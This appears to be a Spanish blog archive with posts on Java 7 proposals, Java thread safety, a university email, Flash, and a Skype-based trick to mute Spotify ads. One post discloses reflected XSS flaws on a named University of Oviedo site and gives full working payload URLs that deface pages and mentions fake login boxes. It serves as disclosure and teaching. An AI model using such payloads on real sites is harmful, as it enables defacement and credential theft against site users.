Strings en switchs

Como todos sabéis, en Java no está permitido el uso de strings en los switchs. Básicamente un switch sólo permite la evaluación de aquellos tipos que puedan tener un cast a int (int, byte, short, char, enum, Character, Byte, Short e Integer). String no es ahormable a int y por tanto no se acepta. Ahora bien, en la práctica, es útil hacer switchs con strings, así que con esta propuesta el siguiente código será válido:

        String valor = "algo";
        switch (valor) {
            case "otra cosa":
                break;
            case "algo":
                //este código será ejecutado
                break;
        }

No me cabe ninguna duda de que es mucho más legible que soluciones actuales, como la siguiente:

        String valor = "algo";
        switch (valor.hashCode()) {
            case -1850569338:
                break;
            case 2996819:
                //este código será ejecutado
                break;
        }

Sin embargo, aunque veo su utilidad, estoy en contra de esta modificación. ¿Por qué? Porque el comportamiento de String se convierte en una casa de putas.

El funcionamiento teórico del switch es simple, una variable será comparada con N alternativas, y si alguna de ellas coincide, se ejecutará esa porción de código. Todos tenemos claro que un int de valor 5 es igual a otro int de valor 5, pero un String con valor “hola” no es igual a otro String de valor “hola”… simplemente la clase String tiene un comportamiento contra-intuitivo. Veamos un ejemplo:

    boolean siempreFalso() {
        return new String("hola") == new String("hola");
    }

Mucha guitarra, pero siempre los mismos acordes…

En contra de lo que uno podría pensar, ese método siempre retornará false. El operador de igualdad no compara el valor de las cadenas, sino sus referencias en memoria, y dado que ambos “hola” no son el mismo objeto, la comparación se probará falsa. Esto no ocurriría en el caso de un switch, ya que se compararía el valor y no la referencia.

[Edición: Javier Collado ha caido en la cuenta de que el ejemplo era un poco artificioso, leed los dos primeros comentarios para tener una explicación de por qué]

Desarrolladores de Java, centren la pelota. O hacemos que String no mire el valor sino la referencia, por ortogonalidad aunque sea contra-intuitivo, o hacemos que mire el valor y que le den a la ortogonalidad. Pero hacer una clase String que sea ortogonal para luego decir que eso es muy molesto y modificar otras partes del lenguaje para que String se comporte de forma no ortogonal, me parece que es hacer el idiota. Con todo el cariño y respeto del mundo.

Mejora de la inferencia de tipos en la creación de instancias genéricas

La verdad es que el título en inglés suena bastante mejor, “Improved Type Inference for Generic Instance Creation“. Como dirían en mi pueblo, mucha mecha para tan poca dinamita. Tras este nombre tan rimbombante se oculta una característica que busca reducir la verbosidad de los tipos genéricos. Atención a la jugada, primero pongo la linea actual, y luego como quedaría en Java 7:

//Actual
ArrayList<String> miListaDeStrings = new ArrayList<String>();
 
//Java 7
ArrayList<String> miListaDeStrings = new ArrayList<>();

Acojonante, siete versiones para esto ¬¬. Lo más gracioso del tema es que en la propia propuesta se dice que otras alternativas serían mejores, pero se elige esta porque, o bien no se necesitan otras, o bien tendrían demasiadas desventajas.

¿Alguien se pregunta por qué está ahí el <>? Pues porque si por ejemplo tienes un objeto Map sin parametrizar, se asume que son datos crudos, no que estás infiriendo el tipo. Así que para mantener la compatibilidad hacia atrás, se ponen los <>.

Si no he entendido nada mal, la compatibilidad a nivel de bytecode no se ve comprometida, simplemente las aplicaciones obsoletas que no tengan en cuenta estos cambios, deberían compilarse contra el JDK para el que fueron diseñadas. Amén de que este problema me parece una cosa menor, me hace gracia que piensen que esta pijada de inferencia es significante. Daos cuenta que esto no funciona si queremos inferir un lvalue… no se ha implementado ningún tipo de tipo de inferencia como “auto” en C++ o “var” en C#, no. Esto sólo sirve para las creaciones. No es que sea un juguete… es que es un juguete.

Aparentemente a los desarrolladores de Java no les ha parecido interesante poder hacer cosas como esta:

//Oh, sin lvalues es imposible hacer esto
auto mejorCliente = metodoQueDevuelveElMejorCliente();
 
//así inferiríamos el tipo de la colección. Java 7 FAIL
for(auto cliente : metodoQueDevuelveUnaColeccionDeClientes()) {
}

Identificadores exóticos

Los identificadores exóticos están aquí por la proposición JSR292, que trata principalmente de hacer la JVM accesible a lenguajes dinámicos. Un identificador exótico nos permitiría llamar a una variable “mira que nombre tan mono”. Lo siguiente sería correcto:

int #"mira que nombre" = 22;
System.out.println(#"mira que nombre"); // muestra 22

Vamos a ver, por mi perfecto, pero ¿no había más caracteres en el universo? ¿les pagan por popularizar #? Ojo al dato:

int x = 22;
int #"x+100" = 100;
System.out.println(#"x+100"); // Muestra 100;
System.out.println(#()x+100); // Muestra 122;

Es un ejemplo y puede ser rebuscado, sí. Pero ahora decidme que nunca habéis puesto donde no era unas comillas y unos paréntesis… sobre todo con la manía que tienen los IDEs de decidir por tí donde poner dobles comillas o cerrar los paréntesis.

¿Por qué es válida la segunda línea? Por la inclusión de los cierres lambda. El compilador no detectará ningún error porque no lo entenderá como un identificador exótico ni como una expresión inválida, sino como un cierre lambda.

Personalmente hubiera preferido que el indicador de una expresión lambda fuera “->” o “<-”.

Conclusión

Podría seguir con otras características, pero voy a parar aquí porque esto está quedando muy largo. Sin duda muchas de las características implementadas son útiles y resuelven problemas reales. Mi crítica es más bien que ese trabajo es bueno, pero corto. Con la impresión que me quedo después de haber leído las propuestas es que el excesivo celo por la compatibilidad, la peculiar forma que tienen de entender la ortogonalidad y la falta de innovación parece llevarles a un “quiero y no puedo”.

¿Qué opináis vosotros?

El post en cuestión es: http://blog.mozilla.com/faaborg/2010/06/24/why-tabs-are-on-top-in-firefox-4/

¿A vosotros qué os parece?

La sincronía es importante

Pongamos por ejemplo esta clase:

1
2
3
4
5
6
7
8
9
10
11
12
13

public class Prueba {
	private int a = 0;
	private int b = 0;
 
	public void marcar() {
		a = 5;
		b = 5;
	}
 
	public boolean siempreVerdadero() {
		return a == 0 || (  a == b && b == 5);
	}
}

Aunque la clase tiene una dudosa aplicación práctica (vale, no tiene nada de dudosa, es inútil), parece claro que el método “siempreVerdadero” retornará invariablemente true. ¿Seguro? No. Esta es una de las suposiciones que hacen muchos programadores y que suele provocar esos misteriosos errores de “algunas veces falla… pero no hay forma de saber cuándo”.

Evil Java Edition matará gatitos ahogándolos en café si no haces tus programas “thread safe”

Supongamos que un hilo llama a marcar al mismo tiempo que otro llama a siempreVerdadero. Estamos ante una situación “data race”, vamos, que el resultado de la operación depende del momento en el que la máquina virtual ejecute las instrucciones. ¿Por qué? Voy a tratar de explicarlo:

1. Hilo 1 llama a marcar e Hilo 2 llama a siempreVerdadero
2. a = 5;
3. b = 5;
4. return a == 0 || ( a == b && b == 5);

En este caso el orden de ejecución de las instrucciones era el que el programador estaba esperando. Todo perfecto…. pero podría darse el siguiente escenario:

1. Hilo 1 llama a marcar e Hilo 2 llama a siempreVerdadero
2. a = 5;
3. return a == 0 || ( a == b && b == 5); // a vale 5 y b vale0, false
4. b=5;

El problema es que suponemos atomicidad donde no la hay. Es evidente que el programador no quiere que ningún método que acceda a “a” o “b” pueda tener lugar mientras se ejecuta el método “marcar”. ¿Cómo deberíamos haberlo hecho? Lo más sencillo sería hacer uso de “synchronized” que nos garantiza precisamente eso:

1
2
3
4

	public synchronized void marcar() {
		a = 5;
		b = 5;
	}

Publicar el objeto antes de finalizar la construcción

Los constructores son métodos especiales. Sirven, valga la redundancia, para construir un objeto. Es decir, una vez el método constructor haya finalizado, el objeto está listo para publicarse. Si se publicase antes de su finalización, los resultados serían impredecible. Y lo que es peor, cada vez que publicas un objeto sin estar totalmente construido, ¡Java mata un gatito ahogándolo en café!

¿Qué mi madre es eso de “publicar un objeto”? Pues básicamente, hacer que otros objetos lo conozcan.

Publicar un objeto antes de tiempo se conoce como “fuga de publicación”. El caso más típico es pasar una referencia a “this” (es decir, el objeto que estamos construyendo) a otro objeto en el código del constructor.

Supongamos el siguiente código:

1
2
3
4
5
6
7
8
9
10

public class MiFuga {
	ArrayList<Cliente> clientes;
	public MiFuga(OtraClase otraClase) {
		clientes = new ArrayList<Cliente>();
		otraClase.subscribeToPeticionCliente(this);
	}
	public void añadirCliente(Cliente cliente){
		clientes.add(cliente)
	}
}

La clase crea una lista de clientes y se subscribe al objeto “otraClase” que le informará cuando un cliente deba ser añadido. Obviamente para que el método “añadirCliente” pueda ser ejecutado correctamente, “clientes” ha de ser creado.

El código, aunque pueda parecer correcto, tiene un “data race”, es decir, puede funcionar, o no, dependiendo del orden en que se ejecuten sus sentencias. ¿Dónde está ese data race? Pues en que “otraClase” recibe una referencia a una instancia de MiFuga que podría no estar totalmente construida.

En Java, un constructor debe construir el objeto y NO publicarse a sí mismo. Muchos programadores creen que, dado que la construcción del objeto parece finalizada (clientes ha sido creado) antes de realizar la publicación (es decir, de hacer el subscribe), no hay problema. Lo que nadie les debe haber dicho es que Java no garantiza que el orden en el que escribas las sentencias se cumpla.

El compilador tiene total libertad para reordenar las instrucciones siempre que no se rompa ninguna relación de dependencia. En el caso anterior, la creación de clientes no depende de la llamada a subscribe ni viceversa, por lo que el compilador podría poner la llamada a subscribe delante de la creación de clientes. De ocurrir esto, y “otraClase” lanzar el evento para procesar un cliente antes de la ejecución de la instrucción que crea clientes, obtendríamos un NullPointerException, ya que clientes tendría valor nulo.

En otras palabras, el código anterior puede funcionar, o no, dependiendo del orden que decida el compilador y de que “otraClase” lance el evento en el momento menos oportuno. Un “data race” en toda regla.

¡Apiádate de él!

Llegados a este punto tienes dos soluciones: evitar la publicación prematura de un objeto o enseñar a nadar en café a los gatitos. Personalmente creo que la segunda sería más divertida… pero es poco práctica.

Si queremos evitar la publicación prematura, la solución no es hacer un constructor “synchronized”. Intuitivamente parece correcto, ya que aseguraría la ejecución de las instrucciones en el orden escrito… pero el compilador se negará a hacer un constructor “synchronized”. Aunque pudiera parecer lógico, realmente carece de sentido. Los constructores sólo son accesibles por el hilo que los crea y por tanto, no requieren de sincronización… simplemente NO debes publicar un objeto en el constructor.

Las cachés existen, tenlas en cuenta

Las cachés se sienten menospreciadas porque la gente no se acuerda de ellas :( Se compasivo y escribe código que las contemple. No sólo harás a las cachés felices y evitarás su suicidio, también lograrás que tu programa falle cuando Jupiter se alinea con Saturno y una paloma te mira por la ventana. (Eh, no me miréis así, que todos hemos llegado a la conclusión de que nuestro programa falla sólo cuando hay un posible comprador/ jefe/profesor delante)

Antes de nada ¿Qué es una caché y por qué tiene que importarme?

Cuando un hilo se crea, puede tomar la decisión de cachear ciertas variables. Es decir, creará copias de los valores de las variables de la memoria principal, a su “espacio de trabajo”. Esto se hace para mejorar la eficiencia. ¿Por qué debe importarte? Sencillo, si un hilo cachea una variable que va a usar luego, y esa variable cambia de valor… su copia cacheada ¿reflejará el cambio? La respuesta es “ni puñetera idea”… a menos que tengas la caché en cuenta.

Para el ejemplo, tomaré un código de CodeCrab que no tiene en cuenta la caché:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

public class ThreadClass extends Thread {
	private boolean thrbool = true;
 
	public void run(){
		while(thrbool){
			System.out.println("Hello from thread "+super.getId());
		try{
			 Thread.sleep(300);
		}catch(Exception e){}
		}
	}
	public void stopThread(){
		thrbool = false;
	}
}

El planteamiento es intuitivo. El bucle de run se ejecutará hasta que alguien realice una llamada a “stopThread”, que cambiará el valor de “thrbool” a false y provocará la condición de salida del bucle.

¿Qué os he dicho de las cachés? Son muy rencorosas… si no os acordáis de ellas, se pondrán tristes y se enfadarán con vosotros haciendo que vuestros códigos no funcionen.

El método “run” puede estar viendo versiones cacheadas de las variables de la clase. Vamos, que puede haber cacheado “thrbool” con su valor original, true. Si alguien llama a “stopThread” , no tenemos ninguna garantía de que “run” vea el cambio… porque si ha creado caché, no estamos forzando ningún tipo de actualización.

¿Qué solución tenemos? Una de ellas consiste en marcar “thrbool” como “volatile”. Una variable volatile garantiza que todos los hilos la vean con el mismo valor. Dicho de otra forma, una variable volatile NO será cacheada.

1

private volatile boolean thrbool = true;

Eso garantizaría que “run” viera siempre los cambios hechos por “stopThread”. ¿Por qué hay tantos códigos con este fallo? Porque no marcarla como volatile no implica que no funcione… simplemente que podría no hacerlo. Dependerá de la plataforma, la máquina virtual y la carga de trabajo de la máquina sobre la que se ejecuta… vamos, todo un encaje de bolillos. (¿Nunca os ha pasado eso de “pues en mi máquina funcionaba”?).

¿Y a mí que me importa si no uso hilos?

Es que SÍ usas hilos. Para empezar, probablemente uses Swing… así que ya hay hilos de por medio. Aún sin usar Swing, lo más probable es que el sistema sea multi-núcleo o tenga hyperthreading… con lo que los efectos serán los mismos. No busques excusas y haz tu código “thread safe” ;)

¿Evitarán estas medidas que veamos esta imagen con tanta frecuencia?

Como comentaba Guti, Flash está sobre-utilizado y con CSS3 y HTML5 quedan pocos casos que justifiquen su uso. Sin embargo, esta vez quiero hablar de la (merecida) humillación pública que está sufriendo Adobe.

Quienes hayan actualizado recientemente su Firefox y tuvieran una versión desactualizada de Flash habrán recibido un mensaje informándoles del peligro que corren y pidiéndoles encarecidamente que actualicen. Supongo que la publicidad para Adobe no es excesivamente buena… pero no tienen de que preocuparse, va a ser aun peor.

Google ha tomado la decisión de bloquear ciertos plug-ins desactualizados para evitar brechas de seguridad. Supongo que es cuestionable, pero creo que todos los productos deberían tomar la misma determinación.

Este movimiento me sugiere algunas preguntas: ¿Cuánto tardará Flash en ver reducida drásticamente su cuota de mercado? ¿Es lícito que un programa bloquee a otros? ¿Deberían todos los programas negarse a funcionar si no disponen de los últimos parches de seguridad?

De Vicerrectorado de Estudiantes y Empleo
A Sres. Alumnos de la Universidad de Oviedo

Sí, ese es el encabezado del email. Sólo les ha faltado poner la imagen de un sello y el cuño de “Correo Postal”. Un correo electrónico NO es una carta.

No estaría tan tranquilo si supiera que tipo de correos envía ahora la universidad

Sigamos analizando el texto:

Hoy se han publicado en el BOPA las convocatorias de becas de colaboración para servicios
informáticos y servicios universitarios para el Curso Académico 2010/11.

¿Soy la única persona que esperaba encontrarse un hiperenlace al BOPA en cuestión? Se trata del correo de una universidad que van a leer cientos de alumnos, creo que emplear uno segundos en poner el enlace habría sido un detalle.

En cualquier caso, la cosa continúa:

El plazo de solicitud (exclusivamente telemática) abarca desde mañana, 30 de junio, hasta el 9 de julio.

Las solicitudes se cubrirán en una página web preparada al efecto en la dirección: www.uniovi.es

Genial. El próximo correo enlazará a Google.com y ya te lo buscas tú. ¿En qué momento les pareció razonable hablar de un contenido concreto y enlazar la página principal? Sobretodo sabiendo que encontrar algo en una web de ese estilo es una tarea digna de elogios.

Otro detalle curioso es que el email lo firma “Eduardo Rodríguez Enríquez”, aunque el correo dice proceder de “vicestudiantes@uniovi.es” , en la firma figura el correo dirserviciosuniversitarios@uniovi.es ¿Tiene este señor personalidad múltiple? No estaría de más que antes de enviar un correo pensaran quién o qué lo envía y quién o qué debería atender las respuestas.

Lo que sí sabemos a ciencia cierta, es que el señor “Eduardo Rodríguez”, si es que ha sido él quien realmente ha escrito el correo, lo que no tiene es educación. Por si todo lo anterior no fuese ya de lo suficientemente rudo, se han encargado de disipar nuestras dudas con el siguiente asunto:

CONVOCATORIAS BECAS COLABORACIÓN (INFORMÁTICA Y SERVICIOS UNIVERSITARIOS)

El próximo email de la Universidad de Oviedo será un HTML dentro de un ZIP que tendrá un control ActiveX con sonido MIDI y fondo negro con letras blancas parpadeantes.

Generalmente excusaría un correo como este que viniese de una persona a título personal porque asumiría que es lego en el medio de comunicación y ha tratado de hacerlo lo mejor posible. No obstante, no creo que se le pueda permitir a una institución, y menos a un centro educativo, el envío masivo de comunicados que atentan de forma clara contra las normas de educación más básicas.

http://clubsalvame.telecinco.es/

El programa es extremadamente cutre, pero funciona y cumple lo más importante: no modifica Spotify y no se necesita para nada un desensamblador. A ver si los de Spotify dejan de creerse el ombligo del mundo y no me dicen qué puedo y qué no puedo correr en mi máquina.

Si eres muy muy vago y sólo quieres saber si esto funciona, vete al final a la sección “Funcionamiento para vagos”

Funcionamiento

El programa necesita hacer dos cosas: saber qué canción está reproduciendo Spotify y poner en mute la canción que quiera. Por si alguien no lo sabe, los anuncios de Spotify son canciones que no te dejan “saltar” ni “silenciar”.

Saber que se está reproduciendo

JaviCV apuntaba que dado que MSN Live Messenger logra saber qué reproduce Spotify, quizá hubiera alguna API por ahí que me lo permitiera a mi también. La idea es muy buena y es la correcta… pero como no quería gastar tiempo mirando documentación de esa API (que probablemente sea “secreta”) he optado por una solución rápida y sucia.

Spotify cambia el título de la ventana cuando reproduce de “Spotify” a “Spotify – <Artista> – <Canción>”. Lo que hago es preguntarle al S.O. por el nombre de todas las ventanas y quedarme con la que se llame “Spotify”.

Evidentemente esto tiene muchos problemas, por ejemplo, como tengas Spotify abierto y abras una carpeta llamada Spotify, el programa encontrará un error y se cerrará.

Poner en mute los anuncios

Spotify controla el volumen y si este baja mucho, o directamente a 0, pausa el anuncio hasta que se sube el volumen. Sin embargo, hay un fallo en su planteamiento… al parecer sólo controlan el volumen del dispositivo de reproducción, pero no miran si está activo el dispositivo de comunicación.

¿Qué es un dispositivo de comunicación?

Seguramente alguna vez habrás estado viendo una peli, escuchando música, etc… y te han llamado por Skype o cualquier otro sitio. Lo primero que haces es parar la música, la peli, etc… y contestar la llamada. En Windows 7 puedes decirle al S.O. que cuando se active el “dispositivo de comunicación” ponga en mute a todas las demás aplicaciones.

¿De qué nos sirve esto?

En este caso, cuando detecto que se va a reproducir una canción anuncio (como por ejemplo, aquellas cuyo artista es Spotify) realizo una llamada por Skype, lo que hace que se active el dispositivo de comunicación y sea Windows quién ponga en mute a Spotify :) Cuando el anuncio termina, cuelgo la llamada y volvemos a escuchar a Spotify.

¿Y vas a estar molestando a los contactos de Skype con llamadas cada vez que suena un auncio?

No, la llamada se realiza a “echo123”, el servicio de prueba de Skype.

¿Cómo funciona el programa?

Necesitas decirle a Windows 7 que cuando detecte una comunicación ponga en mute a todas las demás aplicaciones.

Luego, necesitas decirle a Skype que ponga los altavoces al mínimo (así no oiremos tampoco la llamada).

Hecho esto, puedes abrir el programa. La primera vez Skype te preguntará si quieres autorizarle a realizar llamadas, deberás decirle que sí. Ojo a esto, la programación es tan cutre que como abras el programa sin tener abierto Skype, lo más probable es que falle.

A partir de ahora, el programa realizará la llamada cada vez que detecte un anuncio. Si suena un anuncio, no tienes más que darle a “This is an ad!” y lo añadirá a su base de datos (que por cierto es un txt en UTF-8).

Nota final

El programa funciona gracias a dos efectos laterales… obviamente esto es una chapuza muy grande. Aunque funciona y elimina los anuncios, el objetivo de esto no es que la gente deje de pagar su subscripción a Spotify y por eso no voy a realizar una versión “decente”, simplemente es una forma de demostrar que la política de Spotify es un coñazo y además estúpida.

Funcionamiento para vagos

Instalación (hacer sólo la primera vez)

Dile a windows que ponga en mute todo cuando recibes una llamada.

Abre Skype.

Abre el programa, Skype preguntará si deseas autorizar al programa a hacer llamadas. Dile que sí.

Dile a Skype que ponga el volumen al mínimo.

Uso diario

Abre Skype

Abre el programa

Abre Spotify y… no más anuncios :)

Si se reproduce un anuncio es que el programa no lo tiene en su base de datos, dale a “This is an ad!” y no volverás a escucharlo.

Descarga

Binarios

Código fuente

Supongo que todos habréis notado que si cuando suena un anuncio, bajáis el volumen o silenciáis la aplicación, el anuncio se pone en pausa y continua cuando se suba el volumen. Ahora bien, a nosotros nos da igual el volumen del anuncio, lo que no queremos es oírlo. ¿Qué pasaría si hacemos que el sonido se dirija, durante los anuncios, al un dispositivo nulo? Exacto, no oímos nada, pero Spotify sigue reproduciendo tan contento.

Para la prueba, he esperado a que Spotify reprodujera un anuncio y en ese momento le he dicho a Windows que ponga como dispositivo por defecto la interfaz SPDIF de mi portátil (que por supuesto no se está usando) y tras el anuncio, volviendo a seleccionar los altavoces.

Evidentemente el sistema es aun más incómodo que aguantar la publicidad, pero demuestra que existe una solución. Si creamos un dispositivo nulo (esto no debería ser un problema… al menos en teoría) y logramos obtener el nombre de las canciones que va reproduciendo Spotify (¿alguien sabe cómo?) podríamos realizar el cambio de dispositivo automágicamente :)

De hecho, hay otra manera aun más sencilla:

• Configurad Windows para que haga mute a todo si se recibe una llamada.
• Abrid Skype y llamad a cualquiera durante un anuncio.

Efectivamente… el anuncio no se escucha, pero Spotify sigue reproduciendo.

Todo esto porque Spotify no me deja arrancar los programas que yo quiero… deberían pensárselo mejor la próxima vez xD

Ya había publicado antes cosas relacionadas con XSS, como el fallo que tuvo RTVE con la web de Eurovisión, o el falló que descubrí en Crellan. La EUITIO, que ahora se llama EII (sí, lo sé, suena a chiste), ha estrenado nueva web… así que voy a publicar dos XSS que descubrí hace algún tiempo para la web antigua y luego que venga alguien a decirme que no son “peligrosos”.

Una de las vulnerabilidades se encuentra en “http://www.euitio.uniovi.es/info_academica/asignaturas/index.php” que acepta el parámetro “plan” para indicarle que plan de estudios tiene que mostrar. Si no recibe parámetro, toma por defecto 2002. ¿Qué pasa si le pasamos un plan que no exista, por ejemplo 1234 (http://www.euitio.uniovi.es/info_academica/asignaturas/index.php?plan=1234)? Pues que intenta mostrarnoslo… y nos dice que no tiene asignaturas.

Yo he creado una inyección un pelín más sofisticada y me he creado el mio:

http://www.euitio.uniovi.es/info_academica/asignaturas/index.php?plan=2011%3Cstyle%20type=text/css%3Ebody%3Eul%7Bdisplay:none;%7Dbody%3Eh2%7Bdisplay:none;%7Dh2%2Bdiv%7Bdisplay:none;%7Ddiv%2Bh2%7Bdisplay:none;%7D%3C/style%3E%3Ch2%3EPrimero%3C/h2%3E%3Cul%3E%3Cli%3ETrigonometr%EDa%20cu%E1ntica%20de%20los%20campos%20hiperb%F3licos%3C/li%3E%3C/ul%3E%3Ch2%3ESegundo%3C/h2%3E%3Cul%3E%3Cli%3EParabolas%20senocoidales%20del%20flujo%20espacio-tiempo%3C/li%3E%3C/ul%3E%3Ch2%3ETercero%3C/h2%3E%3Cul%3E%3Cli%3EFiesta,%20sexo,%20alcohol%20y%20Rock%20and%20Roll%3C/li%3E%3Cli%3EDisertaci%F3n%20sobre%20la%20respuesta%20universal:%2042%3C/li%3E%3C/ul%3E%3Cdiv%20style=display:none%3E.%3C/div%3E

La url puede parecer muy larga.. pero si usamos un acortador de URL, o la ponemos en una web, o en un email o… en fin, que las posibilidades son muchas.

El resultado es este (clic para ampliar):

Otra vulnerable es la sección de becas. En este caso me he tomado la libertad de añadir una nueva beca:

http://www.euitio.uniovi.es/servicios/ofertas/index.php?tipo=Becas%3Cul%3E%3Cli%3E%3Ca%20href=%23%20OnClick=alert%28/Lo_sentimos_la_beca_ha_sido_ocupada_por_El_Hombre_Invisible/%29%3EBeca%20de%20colaboraci%F3n%20con%20Superman%3C/a%3E%3C/li%3E%3C/ul%3E%3Cstyle%20type=text/css%3E%20body%3Eul%20{display:none;}%3C/style%3E#

Y el resultado (clic para ampliar):

Obviamente ambos ejemplos son evidentemente falsos y nadie con dos dedos de frente se creería ninguno de ellos. No están pensados para “hacer daño” ni para “engañar” a nadie, sino para demostrar que hay un problema… ¿os imagináis que pasaría si el objetivo del XSS fuese la caja de login? No sería muy difícil reemplazarla y que la gente enviase la contraseña a una dirección de mail….

PD: Por si alguien prueba estos enlaces y no consigue nada… están probados con Firefox 3.x, si usais IE8 no funcionarán porque tiene de serie protección contra XSS (aunque la gente siga diciendo que IE es inseguro… yo no dejo de verle características de seguridad que los demás no tienen…). IE8 tiene protección contra XSS y saltó cuando me envié el enlace por GMail:

Curiosamente desde aquí no pone ninguna pega… algo me dice que ese filtro tiene que mejorar bastante xD

No dudo de que el artículo esté bien y obtengas la clave… pero hacer un volcado del disco, abrir un editor hexadecimal y buscarla también funcionaría y no por ello lo hacemos :P Se han montado un lío muy grande para hacer esto:

“Botón derecho en la red -> Propiedades -> Seguridad -> Marcar la casilla de ver la contraseña”

Uff… lo menos 5 segundos xD Yo creo que la gente se complica demasiado la vida…